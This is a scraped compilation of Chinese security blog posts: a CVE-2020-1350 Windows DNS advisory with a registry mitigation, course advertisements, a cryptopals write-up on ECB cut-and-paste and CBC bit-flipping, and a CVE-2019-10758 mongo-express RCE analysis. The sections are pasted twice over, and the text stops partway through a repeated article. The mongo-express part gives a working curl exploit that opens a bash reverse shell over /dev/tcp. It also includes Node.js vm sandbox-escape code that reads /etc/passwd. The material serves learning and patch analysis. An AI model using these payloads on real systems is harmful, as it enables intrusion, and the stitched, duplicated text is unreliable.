一:漏洞描述

7月14日,微软发布补丁修复了一个标注为远程代码执行的DNS Server漏洞,官方分类为“可蠕虫级”高危漏洞。Windows DNS 服务器是一个核心网络组件,易受攻击的漏洞有可能通过恶意软件在易受攻击的计算机之间传播,而无需用户干预。CVSS评分10分(即高危且易利用),漏洞编号CVE-2020-1350。

二:漏洞影响版本

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

Windows Server 2012

Windows Server 2012 (Server Core)

Windows Server 2012

Windows Server 2012 (Server Core)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core)

Windows Server 2016

Windows Server 2016 (Server Core)

Windows Server 2019

Windows Server 2019 (Server Core)

Windows Server, version 1903 (Server Core)

Windows Server, version 1909 (Server Core)

Windows Server, version 2004 (Server Core)

三、缓解措施

微软提供了临时的缓解措施:

修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 值:TcpReceivePacketSize 数据类型 DWORD = 0xFF00

 注意:必须重新启动 DNS 服务才能生效。

有关更多信息,请参阅 KB4569509:DNS 服务器漏洞 CVE-2020-1350 指南: https://support.microsoft.com/zh-cn/help/4569509/windows-dns-server-remote-code-execution-vulnerability

若要移除此临时解决方法:

应用修补程序后,管理员可以移除值 TcpReceivePacketSize 及其数据,以使注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 下的所有其他内容与之前保持相同。

图文整理自网络,侵删

 

会员专属私享课,限时转免

熟悉合天网安实验室的小伙伴们应该知道,会员专属私享课已开启双课程《解决你最想搞定的二进制问题》 《CMS安全最佳实践》同步模式。

《解决你最想搞定的二进制问题》课程主要以二进制学习为主,共计11个课时(持续更新中……),涵盖缓冲区溢出漏洞、改写变量、改写地址、执行shellcode、编写exp、利用write函数泄露地址等多个方面,这些在这个课程里面你都将学到,并且每个课时均在合天网安实验室有对应的实操环境供你在课后练习,让你在实操中巩固理论知识。

《CMS安全最佳实践》课程涵盖任意文件读取漏洞、SQL注入漏洞、任意文件上传漏洞、权限提升漏洞、XSS和RCE漏洞,还包含两个综合渗透实例,带你从信息收集到入侵CMS,最终通过权限提升获取更多敏感数据。

每周解一难点,抓一重点;直播+录播+课后练习+会员群交流答疑的优质服务全覆盖!会员用户在实验中遇到的难点得到了很好的解答。会员们加速成长,我们欣喜他们的进步。

课程过半,我们也听到一些特别的声音,合天实验真的太丰富了,网站二进制课程竟然还附加了专属的老师讲解,真是很想听一下呢!

思考再三,我们决定开放直播听课!也就是说非会员用户可在直播时段听课学习。(tips:非会员用户一定要把握直播时间哦)

用户的共同成长,也是我们的期待!

今日精彩直播

15:00 pwn利器pwntools

v2-964b0509bb3bf28722e823f5d338f75c_r.jpg微信:hetianwanganxy扫码添加小姐姐,获取上课链接

网安讲堂,周五预告

快速提升网安技能,网安讲堂每周一课也受到大家的关注,从听课反馈中可以看到,这一些技术经验分享,给到了网安爱好者们实实在在的帮助。每周五课程结束之后,活动侠的qq总能收到大家的一些留言,今天的讲师太棒了,最近学习碰到的疑惑解决了…… 网安讲堂从上线到现在,诸如此类的内容我看了很多。我们在激励中前进,也在自我勉励中不断成长。

这周五的课程之约,也不会例外。

v2-8648a9dc0c0515ea8bd6182e412069ab_r.jpg

如何加入合天网安讲堂

01

特聘讲师招募

在网安分享与教学服务这条路上,我们希望我们能营造一个环境:即“所有人向所有人学习,所有人支持所有人成长”。如果您认可我们的初衷,想要支持更多的网安新人们的成长,那么,欢迎各位大佬扫描文末二维码备注“技能分享”加入我们,为大家分享您对网安学习的经验、技能或者独到见解。 

02

学员加入

扫描下方二维码添加合天小姐姐。合天小姐姐将会拉你入群,并告知详细的直播安排~若对本次活动报名还有其他疑问,也可1V1进行咨询~

v2-7ae1dee34383d93f9c6b7ca087290829_r.jpg扫码添加合天小姐姐

 

 

一:漏洞描述

7月14日,微软发布补丁修复了一个标注为远程代码执行的DNS Server漏洞,官方分类为“可蠕虫级”高危漏洞。Windows DNS 服务器是一个核心网络组件,易受攻击的漏洞有可能通过恶意软件在易受攻击的计算机之间传播,而无需用户干预。CVSS评分10分(即高危且易利用),漏洞编号CVE-2020-1350。

二:漏洞影响版本

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core)

Windows Server 2012

Windows Server 2012 (Server Core)

Windows Server 2012

Windows Server 2012 (Server Core)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core)

Windows Server 2016

Windows Server 2016 (Server Core)

Windows Server 2019

Windows Server 2019 (Server Core)

Windows Server, version 1903 (Server Core)

Windows Server, version 1909 (Server Core)

Windows Server, version 2004 (Server Core)

三、缓解措施

微软提供了临时的缓解措施:

修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 值:TcpReceivePacketSize 数据类型 DWORD = 0xFF00

 注意:必须重新启动 DNS 服务才能生效。

有关更多信息,请参阅 KB4569509:DNS 服务器漏洞 CVE-2020-1350 指南: https://support.microsoft.com/zh-cn/help/4569509/windows-dns-server-remote-code-execution-vulnerability

若要移除此临时解决方法:

应用修补程序后,管理员可以移除值 TcpReceivePacketSize 及其数据,以使注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 下的所有其他内容与之前保持相同。

图文整理自网络,侵删

 

会员专属私享课,限时转免

熟悉合天网安实验室的小伙伴们应该知道,会员专属私享课已开启双课程《解决你最想搞定的二进制问题》 《CMS安全最佳实践》同步模式。

《解决你最想搞定的二进制问题》课程主要以二进制学习为主,共计11个课时(持续更新中……),涵盖缓冲区溢出漏洞、改写变量、改写地址、执行shellcode、编写exp、利用write函数泄露地址等多个方面,这些在这个课程里面你都将学到,并且每个课时均在合天网安实验室有对应的实操环境供你在课后练习,让你在实操中巩固理论知识。

《CMS安全最佳实践》课程涵盖任意文件读取漏洞、SQL注入漏洞、任意文件上传漏洞、权限提升漏洞、XSS和RCE漏洞,还包含两个综合渗透实例,带你从信息收集到入侵CMS,最终通过权限提升获取更多敏感数据。

每周解一难点,抓一重点;直播+录播+课后练习+会员群交流答疑的优质服务全覆盖!会员用户在实验中遇到的难点得到了很好的解答。会员们加速成长,我们欣喜他们的进步。

课程过半,我们也听到一些特别的声音,合天实验真的太丰富了,网站二进制课程竟然还附加了专属的老师讲解,真是很想听一下呢!

思考再三,我们决定开放直播听课!也就是说非会员用户可在直播时段听课学习。(tips:非会员用户一定要把握直播时间哦)

用户的共同成长,也是我们的期待!

今日精彩直播

15:00 pwn利器pwntools

v2-964b0509bb3bf28722e823f5d338f75c_r.jpg微信:hetianwanganxy扫码添加小姐姐,获取上课链接

网安讲堂,周五预告

快速提升网安技能,网安讲堂每周一课也受到大家的关注,从听课反馈中可以看到,这一些技术经验分享,给到了网安爱好者们实实在在的帮助。每周五课程结束之后,活动侠的qq总能收到大家的一些留言,今天的讲师太棒了,最近学习碰到的疑惑解决了…… 网安讲堂从上线到现在,诸如此类的内容我看了很多。我们在激励中前进,也在自我勉励中不断成长。

这周五的课程之约,也不会例外。

v2-8648a9dc0c0515ea8bd6182e412069ab_r.jpg

如何加入合天网安讲堂

01

特聘讲师招募

在网安分享与教学服务这条路上,我们希望我们能营造一个环境:即“所有人向所有人学习,所有人支持所有人成长”。如果您认可我们的初衷,想要支持更多的网安新人们的成长,那么,欢迎各位大佬扫描文末二维码备注“技能分享”加入我们,为大家分享您对网安学习的经验、技能或者独到见解。 

02

学员加入

扫描下方二维码添加合天小姐姐。合天小姐姐将会拉你入群,并告知详细的直播安排~若对本次活动报名还有其他疑问,也可1V1进行咨询~

v2-7ae1dee34383d93f9c6b7ca087290829_r.jpg扫码添加合天小姐姐

 

 

 
 
0×00前言
本系列文章将带来cryptocals 这套密码学挑战的write-up.不同于通过上课或者看书的方式学习密码学,这些题目来自于现在生活中一些软件系统和密码构造中的缺陷。
本系列每一个题的wp基本是采用如下结构:题目解释、相关知识点讲解、代码实现及解释,运行测试。代码均采用python3实现,代码实现部分是参考国外大佬ricpacca的,结合自己的理解及成文需要进行部分修改。
第二套一共有八关。
第二套题目
v2-8991b7ac2ed05dec14edd76bc57a7b1d.jpg
主要是和分组密码相关的
0×05
第13题
v2-d404e2f0879f9fb5c628be0d31848d38.jpg
要求写一个函数profile_for,传入profile_for(“[email protected]”),会生成


{

email: ‘[email protected]’,

uid: 10,

role: ‘user’

}


注意,不需要编码@,&等符号
接着生成随机的AES密钥,然后用这个密钥加密编码后的用户信息,再解密得到编码的结果,然后解析编码的结果。
题目要去我们仅使用user和密文,要求进行攻击,使得解密,解码后得到的role是admin,而不是user
这种攻击方法的原理利用的是ECB模式分块单独加密,之后按照顺序将计算所得的数据连在一起即可,各段数据之间互不影响的特点。通过将故意构造的密文替换原密文,从而篡改解密后的信息。
具体代码如下:
定义加密函数,使用AES-128-ECB加密编码过的用户信息,以及对应的解密函数
v2-f9aefa69509794683b83412797669db4.jpg
使用key=value键值对的格式将字典对象编码为字符串,比如将


{

foo: ‘bar’,

baz: ‘qux’,

zap: ‘zazzle’

}

编码为

foo=bar&baz=qux&zap=zazzle
v2-02aeb412a6810ae47bb2112dede685a6.jpg
同样写一个对应的解码函数,将key-value格式解码为字典格式
v2-0bc9d9fd117558f570f25d68cc78ba41.jpg
给出email地址,按指定规则进行格式化,下图中的replace是为了删除原有的&,=
v2-938469b05e54157becbae733c7bb5f26.jpg
下图的函数是关键,通过cut-and-paste攻击,将部分user的原密文替换成admin的。然后返回重新组合后的密文。
第一次加密的明文分为三个块,第一个块为email=xx..xx将这个填充成一个块,第二个块为admin,然后根据pkcs#7填充规则,还需填充11个\x0b,第三个块为&uid=10&role=user
第二次加密的明文分为三个块。第一个块为[email protected],第二个块为com&uid=10&role=,第三个块为user\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c
接下来我们组合三个块成新的密文,


第一个块为[email protected]

第二个块为com&uid=10&role=,

第三个块为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b。
函数返回的就是这三个块组成的密文。
v2-fdffff9796e5bc5b883dc78891b5e223.jpg
该密文被解密,然后解码后,得到的role就会是就会是admin而不是user
v2-f52b6eae56b322d6c21fdab3d09e3208.jpg
完整代码及执行结果如下所示
v2-26a49a2ddc557ac84f78a1632827e339.jpg
0×06
第14关
v2-009729bf974b90a0b98d0aae7bc0bcd2.jpg
这一关比第12关难度大。要求我们生成随机数量的随机字符,作为明文的前缀。
v2-ad4d3c5284c65846c35d74bb38423831.jpg
还是要求我们拿到target-bytes的明文
思路就是:
  1. 首先找到块长度、加密模式,这些在12题里实现过了
  2. 找到前缀长度
  3. 一次一个byte解密target-byte,这在12题也实现了
加密函数加密的内容就是随机前缀+可控字符串+未知字符串
v2-80a4203911309d2c463854de4550fc06.jpg
找到target-byte的一个字节。填充length_to_use个a,保证将块的最后一个字符设置为target-byte的第一个字符。然后计算我们将截取多少个字节进行比较,这个值在后面比较假的密文和实际密文时会用到。计算实际密文,然后暴力测试每个可能的字符,将每个可能字符加密后得到的密文与实际密文比较
v2-c182d947aa1f5fe1bd76c3b808e9281b.jpg
检查给出的密文是否包含两个连续的相同块
v2-17b873064752d0b45a80e183594b340a.jpg
计算前缀的长度。首先找到前缀在哪个块结尾,然后找到前缀结尾的精确位置,就可以计算出前缀的长度
首先分别加密空消息和一个字符的消息,得到两个密文。比较这两个密文,第一个不同的块就是前缀结束的块。然后需要精确定位是在前缀是在哪个位置结束的。
加密“两个块长度+一个随机增量”长度大小的相同的字节,如果字节数足够了(在密文中找到了两个连续的相同块),我们就可以精确计算前缀在其最后一个块中结束的位置。其在最后一块中结束的位置为块长度-i
v2-6b0ddc247d99fde2d48a87cf37d45679.jpg
找到块长度,判断是否为ECB模式,计算出target-byte的长度,这就是循环的次数。在循环中调用get_next_byte来计算。target-byte长度等于加密空字符串后的长度减去前缀长度
v2-75be4fa257bf9d094c2c287b9ad6bb1d.jpg
完整代码及执行结果如下
v2-91ac53860adff1ae330b135ab10b5ab4.jpg
拿到了target-bytes的明文
0×07
第15题
v2-caae6ec86d7d60cf9c61a05036f5f739.jpg
 
要求实现一个函数,可以检测一段明文是否为pkcs#7填充,如果是话则去掉填充,不是的话则报异常
这个函数在s2p9.py中已经实现过了,这里不再重复。
0×08
第16关
v2-71b4f9bd1dc8f2437defb1c5ebb6e40a.jpg
cbc翻转攻击,这个知识点在CTF中也有出现过,那么我们看看脱去CTF的外衣,其本质是怎样的
题目要求首先生成随机的AES密钥
写一个函数接收任意输入字符串,加上前缀”comment1=cooking%20MCs;userdata=”,加上后缀”;comment2=%20like%20a%20pound%20of%20bacon”,去掉;和=
然后,该函数应将输入填充到16字节AES块长度,并在随机AES密钥下对其进行加密。
写一个函数解密该字符串并查找“; admin = true; “。根据字符串是否存在,返回true或false。如果上一个函数正确实现,则第二个函数会返回false。实际上,可以进行cbc翻转攻击,使其返回true。我们通过修改密文来实现这一点(无需密钥)。
CBC翻转攻击技术可以通过修改密文来操纵解密后的明文。其原理就是如果对初始化向量中的任意比特进行反转,则明文分组中相应的比特也会反转,其原因是第一个明文分组会和初始化向量进行异或运算。
v2-044b165047885f862cd08a4994beb840.jpg
 
这样我们所要做的就是对初始化向量进行攻击。
在下面的cbc_bit_flip中我们攻击的就是;和=
代码实现:
实现加密函数,添加前缀和后缀后,使用AES-128-CBC进行加密
实现解密函数,还会检查解密后的内容中是否有;admin=true;
v2-f98c7c146dfa2f637b5bf719a1a1d797.jpg
计算块长度。要找到一个块的长度,我们需要加密越来越长的明文,直到输出密文的大小也增加为止。发生这种情况时,我们可以轻松地计算出块的长度,其值等于新的密文长度与其初始长度之间的差
v2-b6173e5b0e88aa9fae88e36d839c8927.jpg
计算前缀的长度。
加密两个不同的明文字节,得到两个不同的密文,计算两个密文间相同的长度,赋给common_length,确保其为块长度的整数倍。
从1开始将越来越多的相同字节添加到明文中,分别加密,比较两个密文,直到它们有一个额外的相同块为止。如果找到了,这意味着通过添加i个字节,我们可以控制相同的输入(包括前缀)为块大小的整数倍,这样我们就可以得到前缀的长度了。
v2-e13ccda2b6c0f63c277bc5cb0fa3ebc8.jpg
cbc翻转攻击的关键函数
首先得到块长度和前缀长度,接着计算需要添加多少字节到前缀,才能使得其长度为块长度整数倍,接着计算要添加多少字节到明文才能使得其长度为块长度整数倍。然后将明文加长1个块长度(用?填充),对其加密。使用异或的方法,我们可以通过更改明文之前的块的字节来生成所需的字节。最后将伪造的密文片段放在一起,组成完整的密文
v2-d83bf9f17f06499daedb1017574d4551.jpg
完整代码及执行结果如下
v2-1a60fdbe1075938f28b820e752e7c381.jpg
可知,在解密之后的明文里确实找到了; admin = true;,返回了true
参考:
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
 

 
 
0×00前言
本系列文章将带来cryptocals 这套密码学挑战的write-up.不同于通过上课或者看书的方式学习密码学,这些题目来自于现在生活中一些软件系统和密码构造中的缺陷。
本系列每一个题的wp基本是采用如下结构:题目解释、相关知识点讲解、代码实现及解释,运行测试。代码均采用python3实现,代码实现部分是参考国外大佬ricpacca的,结合自己的理解及成文需要进行部分修改。
第二套一共有八关。
第二套题目
v2-8991b7ac2ed05dec14edd76bc57a7b1d.jpg
主要是和分组密码相关的
0×05
第13题
v2-d404e2f0879f9fb5c628be0d31848d38.jpg
要求写一个函数profile_for,传入profile_for(“[email protected]”),会生成


{

email: ‘[email protected]’,

uid: 10,

role: ‘user’

}


注意,不需要编码@,&等符号
接着生成随机的AES密钥,然后用这个密钥加密编码后的用户信息,再解密得到编码的结果,然后解析编码的结果。
题目要去我们仅使用user和密文,要求进行攻击,使得解密,解码后得到的role是admin,而不是user
这种攻击方法的原理利用的是ECB模式分块单独加密,之后按照顺序将计算所得的数据连在一起即可,各段数据之间互不影响的特点。通过将故意构造的密文替换原密文,从而篡改解密后的信息。
具体代码如下:
定义加密函数,使用AES-128-ECB加密编码过的用户信息,以及对应的解密函数
v2-f9aefa69509794683b83412797669db4.jpg
使用key=value键值对的格式将字典对象编码为字符串,比如将


{

foo: ‘bar’,

baz: ‘qux’,

zap: ‘zazzle’

}

编码为

foo=bar&baz=qux&zap=zazzle
v2-02aeb412a6810ae47bb2112dede685a6.jpg
同样写一个对应的解码函数,将key-value格式解码为字典格式
v2-0bc9d9fd117558f570f25d68cc78ba41.jpg
给出email地址,按指定规则进行格式化,下图中的replace是为了删除原有的&,=
v2-938469b05e54157becbae733c7bb5f26.jpg
下图的函数是关键,通过cut-and-paste攻击,将部分user的原密文替换成admin的。然后返回重新组合后的密文。
第一次加密的明文分为三个块,第一个块为email=xx..xx将这个填充成一个块,第二个块为admin,然后根据pkcs#7填充规则,还需填充11个\x0b,第三个块为&uid=10&role=user
第二次加密的明文分为三个块。第一个块为[email protected],第二个块为com&uid=10&role=,第三个块为user\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c
接下来我们组合三个块成新的密文,


第一个块为[email protected]

第二个块为com&uid=10&role=,

第三个块为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b。
函数返回的就是这三个块组成的密文。
v2-fdffff9796e5bc5b883dc78891b5e223.jpg
该密文被解密,然后解码后,得到的role就会是就会是admin而不是user
v2-f52b6eae56b322d6c21fdab3d09e3208.jpg
完整代码及执行结果如下所示
v2-26a49a2ddc557ac84f78a1632827e339.jpg
0×06
第14关
v2-009729bf974b90a0b98d0aae7bc0bcd2.jpg
这一关比第12关难度大。要求我们生成随机数量的随机字符,作为明文的前缀。
v2-ad4d3c5284c65846c35d74bb38423831.jpg
还是要求我们拿到target-bytes的明文
思路就是:
  1. 首先找到块长度、加密模式,这些在12题里实现过了
  2. 找到前缀长度
  3. 一次一个byte解密target-byte,这在12题也实现了
加密函数加密的内容就是随机前缀+可控字符串+未知字符串
v2-80a4203911309d2c463854de4550fc06.jpg
找到target-byte的一个字节。填充length_to_use个a,保证将块的最后一个字符设置为target-byte的第一个字符。然后计算我们将截取多少个字节进行比较,这个值在后面比较假的密文和实际密文时会用到。计算实际密文,然后暴力测试每个可能的字符,将每个可能字符加密后得到的密文与实际密文比较
v2-c182d947aa1f5fe1bd76c3b808e9281b.jpg
检查给出的密文是否包含两个连续的相同块
v2-17b873064752d0b45a80e183594b340a.jpg
计算前缀的长度。首先找到前缀在哪个块结尾,然后找到前缀结尾的精确位置,就可以计算出前缀的长度
首先分别加密空消息和一个字符的消息,得到两个密文。比较这两个密文,第一个不同的块就是前缀结束的块。然后需要精确定位是在前缀是在哪个位置结束的。
加密“两个块长度+一个随机增量”长度大小的相同的字节,如果字节数足够了(在密文中找到了两个连续的相同块),我们就可以精确计算前缀在其最后一个块中结束的位置。其在最后一块中结束的位置为块长度-i
v2-6b0ddc247d99fde2d48a87cf37d45679.jpg
找到块长度,判断是否为ECB模式,计算出target-byte的长度,这就是循环的次数。在循环中调用get_next_byte来计算。target-byte长度等于加密空字符串后的长度减去前缀长度
v2-75be4fa257bf9d094c2c287b9ad6bb1d.jpg
完整代码及执行结果如下
v2-91ac53860adff1ae330b135ab10b5ab4.jpg
拿到了target-bytes的明文
0×07
第15题
v2-caae6ec86d7d60cf9c61a05036f5f739.jpg
 
要求实现一个函数,可以检测一段明文是否为pkcs#7填充,如果是话则去掉填充,不是的话则报异常
这个函数在s2p9.py中已经实现过了,这里不再重复。
0×08
第16关
v2-71b4f9bd1dc8f2437defb1c5ebb6e40a.jpg
cbc翻转攻击,这个知识点在CTF中也有出现过,那么我们看看脱去CTF的外衣,其本质是怎样的
题目要求首先生成随机的AES密钥
写一个函数接收任意输入字符串,加上前缀”comment1=cooking%20MCs;userdata=”,加上后缀”;comment2=%20like%20a%20pound%20of%20bacon”,去掉;和=
然后,该函数应将输入填充到16字节AES块长度,并在随机AES密钥下对其进行加密。
写一个函数解密该字符串并查找“; admin = true; “。根据字符串是否存在,返回true或false。如果上一个函数正确实现,则第二个函数会返回false。实际上,可以进行cbc翻转攻击,使其返回true。我们通过修改密文来实现这一点(无需密钥)。
CBC翻转攻击技术可以通过修改密文来操纵解密后的明文。其原理就是如果对初始化向量中的任意比特进行反转,则明文分组中相应的比特也会反转,其原因是第一个明文分组会和初始化向量进行异或运算。
v2-044b165047885f862cd08a4994beb840.jpg
 
这样我们所要做的就是对初始化向量进行攻击。
在下面的cbc_bit_flip中我们攻击的就是;和=
代码实现:
实现加密函数,添加前缀和后缀后,使用AES-128-CBC进行加密
实现解密函数,还会检查解密后的内容中是否有;admin=true;
v2-f98c7c146dfa2f637b5bf719a1a1d797.jpg
计算块长度。要找到一个块的长度,我们需要加密越来越长的明文,直到输出密文的大小也增加为止。发生这种情况时,我们可以轻松地计算出块的长度,其值等于新的密文长度与其初始长度之间的差
v2-b6173e5b0e88aa9fae88e36d839c8927.jpg
计算前缀的长度。
加密两个不同的明文字节,得到两个不同的密文,计算两个密文间相同的长度,赋给common_length,确保其为块长度的整数倍。
从1开始将越来越多的相同字节添加到明文中,分别加密,比较两个密文,直到它们有一个额外的相同块为止。如果找到了,这意味着通过添加i个字节,我们可以控制相同的输入(包括前缀)为块大小的整数倍,这样我们就可以得到前缀的长度了。
v2-e13ccda2b6c0f63c277bc5cb0fa3ebc8.jpg
cbc翻转攻击的关键函数
首先得到块长度和前缀长度,接着计算需要添加多少字节到前缀,才能使得其长度为块长度整数倍,接着计算要添加多少字节到明文才能使得其长度为块长度整数倍。然后将明文加长1个块长度(用?填充),对其加密。使用异或的方法,我们可以通过更改明文之前的块的字节来生成所需的字节。最后将伪造的密文片段放在一起,组成完整的密文
v2-d83bf9f17f06499daedb1017574d4551.jpg
完整代码及执行结果如下
v2-1a60fdbe1075938f28b820e752e7c381.jpg
可知,在解密之后的明文里确实找到了; admin = true;,返回了true
参考:
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
 

作者:4ct10n合天智汇

搭建调试环境,调试 CVE-2019-10758 漏洞,学习nodejs 沙箱绕过,以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初学者角度分析调试漏洞成因,特别是在chrome浏览器调试nodejs上花了点篇幅。

0×01 认识 mongo-express

mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便,使用简单,成为了很多人管理mongo的选择。

v2-c11dd7417f8956d79b8139fe2997e646_720w

0×02 调试环境搭建

0×1 启动docker服务

阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本。选择以0.49为例进行测试,由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

  • 搭建MongoDB数据库

docker run –name test -d mongo:3.2

  • 搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:

docker run -d -p 8081:8081 –link test:mongo mongo-express:0.49

查看日志,确认连接成功。

v2-81176e5b98da02da14ec9ee9d1a380e9_720w

0×2 开启nodejs调试选项

这里需要个技巧,如果要调试nodejs 需要在启动的时候加上 –inspect 参数。 在docker启动脚本做以下修改

v2-424ebaaa44f93d3198fb45cf37c19a9b_720w

docker restart 183

利用docker exec -it 183 bash连接docker查看debug服务是否开启

v2-8b6ab75e987b46f8c66e2764eae199a9_720w

如上图中开启9229端口即可。只需要外面主机能够连接访问9229端口就可以利用chrome插件进行调试,可以用frp将端口转发出来,或者利用docker -p 9229:9229参数做处理。

0×3 Chrome DevTools

利用chrome 插件可以实现像调试javascript脚本一样调试nodejs,操作起来也是很方便。

首先下载debug插件

v2-02cdd97a1796b0604330573ecadcbb35_720w

在chrome打开about:inspect chrome devtools在2016年5月就已经支持Nodejs的调试,点击Open dedicated DevTools for Node

v2-3449bb2e8bc7edd0e82768a719d8e114_720w

配置连接地址和端口

v2-26693a5936610c1fc105b33e2c290a37_720w

接下来就像调试js一样了

v2-2b14f87e566423290d010d9af8c7388c_720w

发送一个测试包,该路由分支可以断下,接下来就开始调试本次漏洞了。



curl http://127.0.0.1:8081/checkValid -d ‘document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1″)’

v2-071a06ce22dd4e4034f3a5e0692d7fee_720w

0×03 漏洞调试及原理分析

本次调试的漏洞原理比较简单,核心漏洞是命令拼接,这是一种最简单的漏洞形式,但是利用起来需要点功夫,因为需要绕过沙箱VM,好在nodejs的vm绕过有过研究基础。多的不说,直接看最后的漏洞代码

v2-d1694e7730e92080c841a2bab8bf19be_720w

string为toBSON的参数,在MongoDB中BSON是一种常见的数据格式,与JSON是近亲,但是和JSON的数据格式有很多区别,而然在mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。

例如下面操作

v2-4858e87fd1cff8dbdfe78a208267ea1f_720w

当代码流程走到bson.toBSON时会触发eval函数,因为nodejs可以作为后端语言所以该eval函数是在服务器端运行,可以造成命令注入,对系统产生危害。



exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson
.toBSON(doc);
} catch (err) {
console
.error(err);
return res.send(‘Invalid’);
}

res.send(‘Valid’);
};


exports.toBSON = function (string) {
var sandbox = exports.getSandbox();

string = string.replace(/ISODate\(/g, ‘new ISODate(‘);
string
= string.replace(/Binary\((“[^"]+”),/g, ‘Binary(new Buffer($1, “base64″),’);

vm.runInNewContext(‘doc = eval((‘ + string + ‘));’, sandbox);

return sandbox.doc;
};

由代码溯源分析得到,toBSON的参数string是req.body中的document,因此这一部分我们可控。可以发现vm.runInNewContext函数,这是一个虚拟沙箱。因此们下一节分析怎么绕过沙箱防护。

0×04 nodejs 沙箱绕过

沙箱是一个能够安全执行不受信任的代码,且不影响外部实际代码的独立环境。在沙箱里代码执行往往会被限制。VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文,也就是它的全局变量不同于其他代码。但是沙箱里的代码仍然可以访问Node进程。我们经常使用该方法去绕过。

0×1 现象

vm.js



“use strict”;
const vm = require(“vm”);
const xyz = vm.runInNewContext(`this.constructor.constructor(‘return this.process.env’)()`);
console
.log(xyz);

v2-7013f5b14fa21bef121ce68aa90b849b_720w

可以看到this.process.env获取到了nodejs进程的信息,这说明完全可以切回主程序去执行系统命令。

0×2 解释

在javascript中this指向它所属的对象,所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的 .constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回 Function constructor 。 Function constructor 就像javascript里的最高函数它允许全局访问。Function constructor允许从字符串生成函数,从而执行任意代码。所以我们可以利用它返回主进程。之后我们就能用它来访问主进程,然后进行RCE。



“use strict”;
const vm = require(“vm”);
const xyz = vm.runInNewContext(`const process = this.constructor.constructor(‘return this.process’)();
process.mainModule.require(‘child_process’).execSync(‘cat /etc/passwd’).toString()
`);
console
.log(xyz);

同理vm2 函数也可以绕过,这里还是参照原文进行学习吧 https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

0×05 漏洞修补

v2-8704199e20f5a9f9cbffaef48e595d8c_720w

v2-57e7dcadca92c35176b046dbb22612b2_720w

这里放两个图可以说明一切,利用mongo-query-parser 去解析BSON数据,直接从根源替换。

0×06 参考文献

https://segmentfault.com/a/1190000011951679

https://nodejs.org/en/docs/guides/debugging-getting-started/

https://mntn0x.github.io/2020/01/08/mongo-express-RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#mongo-amp-amp-mongo-express

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

作者:4ct10n合天智汇

搭建调试环境,调试 CVE-2019-10758 漏洞,学习nodejs 沙箱绕过,以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初学者角度分析调试漏洞成因,特别是在chrome浏览器调试nodejs上花了点篇幅。

0×01 认识 mongo-express

mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便,使用简单,成为了很多人管理mongo的选择。

v2-c11dd7417f8956d79b8139fe2997e646_720w

0×02 调试环境搭建

